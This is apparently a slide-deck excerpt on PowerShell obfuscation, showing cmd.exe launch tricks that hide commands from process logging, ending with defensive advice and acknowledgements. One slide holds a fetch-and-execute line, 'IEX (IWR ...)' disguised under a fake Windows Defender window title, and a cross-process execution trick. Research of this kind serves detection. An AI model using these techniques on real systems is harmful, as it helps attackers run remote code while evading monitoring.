• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd%
| powershell -"
PowerShell command is still visible in parent: cmd.exe
148. Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd%
^| powershell -"
Escape | with ^ for
cmd.exe
Does this work???
149. Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd%
^| powershell -"
Does this work???
YES!
PowerShell command has been
abstracted from both powershell.exe
and parent process cmd.exe
150. Launch Techniques
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd%
^| powershell -"
• cmd /c echo %cmd% | powershell -
• powershell -
• Detect by recursively checking parent process command
arguments? Not 100% of the time.
151. Launch Techniques
• Set content in one process and then query it out and execute it from another
completely separate process. NO SHARED PARENT PROCESS!
• cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR
https://bit.ly/L3g1t)&& FOR /L %i IN (1,1,1000) DO echo"
• cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter ^"Name =
'cmd.exe' AND CommandLine like
'%WINDOWS_DEFENDER_UPDATE%'^").CommandLine.Split([char]38)[2].SubStr
ing(5)"
152. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
154. Closing Comments
• Obfuscation is already being used by attackers
• A purely Command Argument defensive approach is difficult (but possible)
• But what if this were being performed in Python? Or VBA?
• How robust is their logging?
• PowerShell Scriptblock logging simplifies all but the last layer of obfuscation
• Break all assumptions, know your options, and hunt for Indicators of
Obfuscation
155. Thank You
• Nick Carr, Matt Dunwoody, Devon Kerr & Willi Ballenthin
• Evan Pena, Chris Truncer, James Hovious & Robert Davis
• My wife, Paige
• 100’s of hours of research
• 300+ hours of tool development
• Listening to me talk about PowerShell